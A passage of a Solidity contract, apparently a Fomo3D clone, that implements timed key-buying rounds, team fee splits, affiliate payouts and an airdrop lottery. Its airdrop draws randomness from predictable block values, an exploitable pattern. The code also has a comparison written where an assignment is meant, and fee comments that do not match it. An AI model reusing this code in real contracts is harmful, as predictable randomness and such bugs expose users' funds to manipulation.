//=================_|=========================================================== string constant public name = "FoMoGame Official"; string constant public symbol = "FGame"; uint256 private rndExtra_ = 0; // length of the very first ICO uint256 private rndGap_ = 0; // length of ICO phase, set to 1 year for EOS. uint256 constant private rndInit_ = 12 hours; // round timer starts at this uint256 constant private rndInc_ = 15 seconds; // every full key purchased adds this much to the timer uint256 constant private rndMax_ = 12 hours; // max length a round timer can be //============================================================================== // _| _ _|_ _ _ _ _|_ _ . // (_|(_| | (_| _\(/_ | |_||_) . (data used to store game info that changes) //=============================|================================================ uint256 public airDropPot_; // person who gets the airdrop wins part of this pot uint256 public airDropTracker_ = 0; // incremented each time a "qualified" tx occurs. used to determine winning air drop uint256 public rID_; // round id number / total rounds that have happened //**************** // PLAYER DATA //**************** mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name mapping (uint256 => F3Ddatasets.Player) public plyr_; // (pID => data) player data mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; // (pID => rID => data) player round data by player id & round id mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amongst any name you own) //**************** // ROUND DATA //**************** mapping (uint256 => F3Ddatasets.Round) public round_; // (rID => data) round data mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; // (rID => tID => data) eth in per team, by round id and team id //**************** // TEAM FEE DATA //**************** mapping (uint256 => F3Ddatasets.TeamFee) public fees_; // (team => fees) fee distribution by team mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; // (team => fees) pot split distribution by team //============================================================================== // _ _ _ __|_ _ __|_ _ _ . // (_(_)| |_\ | | |_|(_ | (_)| . (initial data setup upon contract deploy) //============================================================================== constructor() public { // Team allocation structures // 0 = whales // 1 = bears // 2 = sneks // 3 = bulls // Team allocation percentages // (F3D, P3D) + (Pot , Referrals, Community) // Referrals / Community rewards are mathematically designed to come from the winner's share of the pot. fees_[0] = F3Ddatasets.TeamFee(20,0); //57% to pot, 20% to aff, 2% to com, 1% to air drop pot fees_[1] = F3Ddatasets.TeamFee(45,0); //32% to pot, 20% to aff, 2% to com, 1% to air drop pot fees_[2] = F3Ddatasets.TeamFee(57,0); //20% to pot, 20% to aff, 2% to com, 1% to air drop pot fees_[3] = F3Ddatasets.TeamFee(39,0); //38% to pot, 20% to aff, 2% to com, 1% to air drop pot // how to split up the final pot based on which team was picked // (F3D, P3D) // What's the difference potSplit_[0] = F3Ddatasets.PotSplit(40,0); //48% to winner, 10% to next round, 2% to com potSplit_[1] = F3Ddatasets.PotSplit(45,0); //48% to winner, 5% to next round, 2% to com potSplit_[2] = F3Ddatasets.PotSplit(45,0); //48% to winner, 5% to next round, 2% to com potSplit_[3] = F3Ddatasets.PotSplit(40,0); //48% to winner, 10% to next round, 2% to com } //============================================================================== // _ _ _ _|. |`. _ _ _ . // | | |(_)(_||~|~|(/_| _\ . (these are safety checks) //============================================================================== /** * @dev used to make sure no one can interact with contract until it has * been activated. */ modifier isActivated() { require(activated_ == true, "its not ready yet. check ?eta in discord"); _; } /** * @dev prevents contracts from interacting with fomo3d */ modifier isHuman() { address _addr = msg.sender; require (_addr == tx.origin); uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } /** * @dev sets boundaries for incoming tx */ modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, "pocket lint: not a valid currency"); require(_eth <= 100000000000000000000000, "no vitalik, no"); _; } //============================================================================== // _ |_ |. _ |` _ __|_. _ _ _ . // |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (use these to interact with contract) //====|========================================================================= /** * @dev emergency buy uses last stored affiliate ID and team snek */ function() isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // buy core buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } /** * @dev converts all incoming ethereum to keys. * -functionhash- 0x8f38f309 (using ID for affiliate) * -functionhash- 0x98a0871d (using address for affiliate) * -functionhash- 0xa65b37a1 (using name for affiliate) * @param _affCode the ID/address/name of the player who gets the affiliate fee * @param _team what team is the player playing for? */ function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz if (_affCode == 0 || _affCode == _pID) { // use last stored affiliate code _affCode = plyr_[_pID].laff; // if affiliate code was given & its not the same as previously stored } else if (_affCode != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affCode; } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == address(0) || _affCode == msg.sender) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == '' || _affCode == plyr_[_pID].name) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affID, _team, _eventData_); } /** * @dev essentially the same as buy, but instead of you sending ether * from your wallet, it uses your unwithdrawn earnings. * -functionhash- 0x349cdcac (using ID for affiliate) * -functionhash- 0x82bfc739 (using address for affiliate) * -functionhash- 0x079ce327 (using name for affiliate) * @param _affCode the ID/address/name of the player who gets the affiliate fee * @param _team what team is the player playing for? * @param _eth amount of earnings to use (remainder returned to gen vault) */ function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz if (_affCode == 0 || _affCode == _pID) { // use last stored affiliate code _affCode = plyr_[_pID].laff; // if affiliate code was given & its not the same as previously stored } else if (_affCode != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affCode; } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == address(0) || _affCode == msg.sender) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == '' || _affCode == plyr_[_pID].name) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affID, _team, _eth, _eventData_); } /** * @dev withdraws all of your earnings. * -functionhash- 0x3ccfd60b */ function withdraw() isActivated() isHuman() public { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // setup temp var for player eth uint256 _eth; // check to see if round has ended and no one has run round end yet if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // end the round (distributes pot) round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // get their earnings _eth = withdrawEarnings(_pID); // gib moni if (_eth > 0) plyr_[_pID].addr.transfer(_eth); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire withdraw and distribute event emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); // in any other situation } else { // get their earnings _eth = withdrawEarnings(_pID); // gib moni if (_eth > 0) plyr_[_pID].addr.transfer(_eth); // fire withdraw event emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } /** * @dev use these to register names. they are just wrappers that will send the * registration requests to the PlayerBook contract. So registering here is the * same as registering there. UI will always display the last name you registered. * but you will still own all previously registered names to use as affiliate * links. * - must pay a registration fee. * - name must be unique * - names will be converted to lowercase * - name cannot start or end with a space * - cannot have more than 1 space in a row * - cannot be only numbers * - cannot start with 0x * - name must be at least 1 char * - max length of 32 characters long * - allowed characters: a-z, 0-9, and space * -functionhash- 0x921dec21 (using ID for affiliate) * -functionhash- 0x3ddd4698 (using address for affiliate) * -functionhash- 0x685ffd83 (using name for affiliate) * @param _nameString players desired name * @param _affCode affiliate ID, address, or name of who referred you * @param _all set to true if you want this to push your info to all games * (this might cost a lot of gas) */ function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } //============================================================================== // _ _ _|__|_ _ _ _ . // (_|(/_ | | (/_| _\ . (for UI & viewing things on etherscan) //=====_|======================================================================= /** * @dev return the price buyer will pay for next 1 individual key. * -functionhash- 0x018a25e8 * @return price for next key bought (in wei format) */ function getBuyPrice() public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else // rounds over. need price for new round return ( 75000000000001 ); // init } /** * @dev returns time left. dont spam this, you'll ddos yourself from your node * provider * -functionhash- 0xc7e284b8 * @return time left in seconds */ function getTimeLeft() public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } /** * @dev returns player earnings per vaults * -functionhash- 0x63066434 * @return winnings vault * @return general vault * @return affiliate vault */ function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { // setup local rID uint256 _rID = rID_; // if round has ended. but round end has not been run (so contract has not distributed winnings) if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { // if player is winner if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); // if player is not the winner } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } // if round is still going on, or round has ended and round end has been ran } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } /** * solidity hates stack limits. this lets us avoid that hate */ function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } /** * @dev returns all current round info needed for front end * -functionhash- 0x747dff42 * @return eth invested during ICO phase * @return round id * @return total keys for round * @return time round ends * @return time round started * @return current pot * @return current team ID & player ID in lead * @return current player in leads address * @return current player in leads name * @return whales eth in for round * @return bears eth in for round * @return sneks eth in for round * @return bulls eth in for round * @return airdrop tracker # & airdrop pot */ function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { // setup local rID uint256 _rID = rID_; return ( round_[_rID].ico, //0 _rID, //1 round_[_rID].keys, //2 round_[_rID].end, //3 round_[_rID].strt, //4 round_[_rID].pot, //5 (round_[_rID].team + (round_[_rID].plyr * 10)), //6 plyr_[round_[_rID].plyr].addr, //7 plyr_[round_[_rID].plyr].name, //8 rndTmEth_[_rID][0], //9 rndTmEth_[_rID][1], //10 rndTmEth_[_rID][2], //11 rndTmEth_[_rID][3], //12 airDropTracker_ + (airDropPot_ * 1000) //13 ); } /** * @dev returns player info based on address. if no address is given, it will * use msg.sender * -functionhash- 0xee0b5d8b * @param _addr address of the player you want to lookup * @return player ID * @return player name * @return keys owned (current round) * @return winnings vault * @return general vault * @return affiliate vault * @return player round eth */ function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { // setup local rID uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, //0 plyr_[_pID].name, //1 plyrRnds_[_pID][_rID].keys, //2 plyr_[_pID].win, //3 (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), //4 plyr_[_pID].aff, //5 plyrRnds_[_pID][_rID].eth //6 ); } //============================================================================== // _ _ _ _ | _ _ . _ . // (_(_)| (/_ |(_)(_||(_ . (this + tools + calcs + modules = our softwares engine) //=====================_|======================================================= /** * @dev logic runs whenever a buy order is executed. determines how to handle * incoming eth depending on if we are in an active round or not */ function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // if round is active if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { // call core core(_rID, _pID, msg.value, _affID, _team, _eventData_); // if round is not active } else { // check to see if end round needs to be ran if (_now > round_[_rID].end && round_[_rID].ended == false) { // end the round (distributes pot) & start new round round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire buy and distribute event emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } // put eth in players vault plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } /** * @dev logic runs whenever a reload order is executed. determines how to handle * incoming eth depending on if we are in an active round or not */ function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // if round is active if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { // get earnings from all vaults and return unused to gen vault // because we use a custom safemath library. this will throw if player // tried to spend more eth than they have. plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); // call core core(_rID, _pID, _eth, _affID, _team, _eventData_); // if round is not active and end round needs to be ran } else if (_now > round_[_rID].end && round_[_rID].ended == false) { // end the round (distributes pot) & start new round round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire buy and distribute event emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } /** * @dev this is the core logic for any buy/reload that happens while a round * is live. */ function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { // if player is new to round if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); // early round eth limiter // if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) // { // uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); // uint256 _refund = _eth.sub(_availableLimit); // plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); // _eth = _availableLimit; // } // if eth left is greater than min eth allowed (sorry no pocket lint) if (_eth > 1000000000) { // mint the new keys uint256 _keys = (round_[_rID].eth).keysRec(_eth); // if they bought at least 1 whole key if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); // set new leaders if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; // set the new leader bool to true _eventData_.compressedData = _eventData_.compressedData + 100; } // manage airdrops if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { // gib muni uint256 _prize; if (_eth >= 10000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 3 prize was won _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 2 prize was won _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 3 prize was won _eventData_.compressedData += 300000000000000000000000000000000; } // set airdrop happened bool to true _eventData_.compressedData += 10000000000000000000000000000000; // let event know how much was won _eventData_.compressedData += _prize * 1000000000000000000000000000000000; // reset air drop tracker airDropTracker_ = 0; } } // store the air drop tracker number (number of buys since last airdrop) _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); // update player plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); // update round round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); // distribute eth _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); // call end tx function to fire end tx event. endTx(_pID, _team, _eth, _keys, _eventData_); } } //============================================================================== // _ _ | _ | _ _|_ _ _ _ . // (_(_||(_|_||(_| | (_)| _\ . //============================================================================== /** * @dev calculates unmasked earnings (just calculates, does not update mask) * @return earnings in wei format */ function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } /** * @dev returns the amount of keys you would get given an amount of eth. * -functionhash- 0xce89c80c * @param _rID round ID you want price for * @param _eth amount of eth sent in * @return keys received */ function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else // rounds over. need keys for new round return ( (_eth).keys() ); } /** * @dev returns current eth price for X keys. * -functionhash- 0xcf808000 * @param _keys number of keys desired (in 18 decimal format) * @return amount of eth needed to send */ function iWantXKeys(uint256 _keys) public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else // rounds over. need price for new round return ( (_keys).eth() ); } //============================================================================== // _|_ _ _ | _ . // | (_)(_)|_\ . //============================================================================== /** * @dev receives name/player info from names contract */ function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } /** * @dev receives entire player name list */ function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } /** * @dev gets existing or registers new pID. use this when a player may be new * @return pID */ function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; // if player is new to this version of fomo3d if (_pID == 0) { // grab their player ID, name and last aff ID, from player names contract _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); // set up player account pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != "") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; // set the new player bool to true _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } /** * @dev checks to make sure user picked a valid team. if not sets team * to default (sneks) */ function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } /** * @dev decides if round end needs to be run & new round started. and if * player unmasked earnings from previously played rounds need to be moved. */ function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { // if player has played a previous round, move their unmasked earnings // from that round to gen vault. if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); // update player's last round played plyr_[_pID].lrnd = rID_; // set the joined round bool to true _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } /** * @dev ends the round. manages paying out winner/splitting up pot */ function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { // setup local rID uint256 _rID = rID_; // grab our winning player and team id's uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; // grab our pot amount uint256 _pot = round_[_rID].pot; // calculate our winner share, community rewards, gen share, // p3d share, and amount reserved for next pot uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); // calculate ppt for round mask uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } // pay our winner plyr_[_winPID].win = _win.add(plyr_[_winPID].win); // community rewards team.transfer(_com); // distribute gen portion to key holders round_[_rID].mask = _ppt.add(round_[_rID].mask); // send share for p3d to divies // 理论上应该是0 if (_p3d > 0) { team.transfer(_p3d); } // prepare event data _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = _p3d; _eventData_.newPot = _res; // start next round rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } /** * @dev moves any unmasked earnings to gen vault. updates earnings mask */ function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { // put in gen vault plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); // zero out their earnings by updating mask plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } /** * @dev updates round timer based on number of whole keys bought. */ function updateTimer(uint256 _keys, uint256 _rID) private { // grab time uint256 _now = now; // calculate time based on number of keys bought uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); // compare to max and set new end time if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } /** * @dev generates a random number between 0-99 and checks to see if thats * resulted in an airdrop win * @return do we have a winner? */ function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } /** * @dev distributes eth based on fees to com, aff, and p3d */ function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { // pay 2% out to community rewards uint256 _com = _eth / 50; uint256 _p3d = 0; team.transfer(_com); // distribute share to affiliate uint256 _aff = _eth / 5; // decide what to do with affiliate share of fees // affiliate must not be self, and must have a name registered if (_affID != _pID && plyr_[_affID].name != "") { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, 